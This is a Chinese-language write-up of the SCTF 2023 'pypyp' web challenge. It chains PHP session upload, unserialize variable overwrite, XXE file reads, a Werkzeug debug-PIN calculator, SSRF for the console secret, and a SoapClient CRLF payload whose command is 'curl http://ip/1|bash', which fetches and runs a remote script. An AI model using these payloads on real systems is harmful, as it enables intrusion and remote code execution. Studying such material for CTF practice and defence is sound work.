pypyp?

hint

a piece of cake but hard work。per 5 min restart.
pay attention to /app/app.py

start_session

  ​Session not started​,那么利用​ PHP_SESSION_UPLOAD_PROGRESS 上传 Session

  ​image

关于 PHP_SESSION_UPLOAD_PROGRESS ​可以参考这篇文章 浅谈 SESSION_UPLOAD_PROGRESS 的利用

image

  根据这篇文章的分析
我们直接使用curl​指定cookie头PHPSESSID​和POST的恶意字段PHP_SESSION_UPLOAD_PROGRESS​,然后设置代理用yakit抓包

1
curl http://115.239.215.75:8081/ -H "Cookie: PHPSESSID=5x" -F 'PHP_SESSION_UPLOAD_PROGRESS=5x' -x http://172.22.240.1:8084

  ​image返回的是高亮后的源码,右上角使用浏览器打开

  ​image

代码审计

  审计一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
if(!isset($_SESSION)){
die('Session not started');
}
highlight_file(__FILE__);
$type = $_SESSION['type'];
$properties = $_SESSION['properties'];
echo urlencode($_POST['data']);
extract(unserialize($_POST['data']));
if(is_string($properties)&&unserialize(urldecode($properties))){
$object = unserialize(urldecode($properties));
$object -> sctf();
exit();
} else if(is_array($properties)){
$object = new $type($properties[0],$properties[1]);
} else {
$object = file_get_contents('http://127.0.0.1:5000/'.$properties);
}
echo "this is the object: $object <br>";
?>

  ​extract(unserialize($_POST['data']));​:将$_POST['data']​进行反序列化后,通过extract​函数将其内容解压到当前符号表中。

  ​$object -> sctf();​:可以触发__call​方法

  ​new $type($properties[0],$properties[1])​:使用动态类名创建对象。导致类注入漏洞,允许攻击者创建任意类的对象。

  ​file_get_contents('http://127.0.0.1:5000/'.$properties);​:使用输入的$properties​构造URL,并通过file_get_contents​函数获取远程内容。

  那么思路就是,通过extract​进行变量覆盖,控制$type​和$properties​的值为SimpleXMLElement​和xxe的payload
以利用实例化该类的对象来传入xml代码进行xxe攻击,进而读取文件内容和命令执行。

使用 SimpleXMLElement 类进行 XXE

参考:https://www.extrader.top/posts/35c0085d/#SimpleXMLElement

range(PHP 5, PHP 7, PHP 8)

利用实例化该类的对象来传入xml代码进行xxe攻击,进而读取文件内容和命令执行。

payload

1
2
3
4
5
6
7
8
9
10
11
<?php
$xml = <<<EOF
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
EOF;
$xml_class = new SimpleXMLElement($xml, LIBXML_NOENT);
var_dump($xml_class);
?>

变量覆盖

  构造数组并序列化后传入​data

1
2
3
4
5
<?php
$type = 'SimpleXMLElement';
$properties_xml = '<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY f SYSTEM "file:///etc/passwd">]><a>&f;</a>';
$arr = array('properties' => array($properties_xml, '2'),'type'=>$type);
echo serialize($arr);

  ​image

  传参data​,读取到passwd

  ​image

  根据提示读取/app/app.py​,获得源码,开了debug,那就读文件算pin码

1
2
3
4
5
6
7
8
app = Flask(__name__)

@app.route('/')
def index():
return 'Hello World!'

if __name__ == '__main__':
app.run(host="0.0.0.0",debug=True)

算pin码

  1. /etc/passwd

    image

  2. /sys/class/net/eth0/address

    02:42:ac:13:00:02​->2485378023426

  3. /proc/sys/kernel/random/boot_id

    349b3354-f67f-4438-b395-4fbc01171fdd

  4. /proc/self/cgroup

    96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687

  还有一个moddir​不会找,参考了一下大佬的blog(https://boogipop.com/2023/06/20/SCTF2023%20Web%20WriteUp/#pypyp

  ​image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
'app'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/lib/python3.8/site-packages/flask/app.py' # 报错得到(本题没有保报错)
]

private_bits = [
'248537802342',# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
'349b3354-f67f-4438-b395-4fbc01171fdd96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687'# /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

  算出pin码是121-260-582

Debug控制台rce

SSRF拿SECRET

本地抓一下debug验证pin码的包

image

有四个参数:
__debugger__​:调试
cmd​:命令
pin​:pin码
s​:SECRET

  SECRET访问console就能获取,那么我们怎么访问console呢
还记得上面代码审计中提到的​

file_get_contents('http://127.0.0.1:5000/'.$properties);​:使用输入的$properties​构造URL,并通过file_get_contents​函数获取远程内容。

  那么我们就通过变量覆盖令properties​为console​,构造出http://127.0.0.1:5000/console

  ​image

  得到SECRET为ECDJpSJ4XJ5AZJtaxMHT

  ​image

原生类soapclient拿shell

本地抓一下进入console后执行命令的包

image

SECRET我们上面已经得到了,还需要cookie_name​和cookie_value

  翻一下源码看看cookie_name​和cookie_value​是怎么算的

  1、cookie_name

  ​image

  2、​cookie_value

  ​image

  改一下源码就可以输出了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import hashlib
from itertools import chain
import time

probably_public_bits = [
'app',
'flask.app',
'Flask',
'/usr/lib/python3.8/site-packages/flask/app.py'
]

private_bits = [
'2485378023426', # /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
'349b3354-f67f-4438-b395-4fbc01171fdd96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]


rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

print(rv)
pin = rv

cookie_name = f"__wzd{h.hexdigest()[:20]}"
print("cookie_name:"+cookie_name)

def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]

print("cookie_value:",f"{int(time.time())}|{hash_pin(pin)}")

  ​image

  接下来就是构造soapclient​类来执行命令了

1
2
3
4
5
6
7
8
<?php
$class = serialize(new SoapClient(null, array(
'location' => 'http://127.0.0.1:5000/console?&__debugger__=yes&cmd=__import__("os").popen("curl${IFS}http://ip/1|bash").read()&frm=0&s=ECDJpSJ4XJ5AZJtaxMHT',
'user_agent'=>"5x\r\nCookie: __wzdb2a60e2b19822632a67c=1688909956|11b8517fb9fb",
'uri' => "http://127.0.0.1:5000/")));
$arr = array('properties' => urlencode($class));
$payload = serialize($arr);
echo $payload;

  拿shell之后suid的curl读/flag就完事了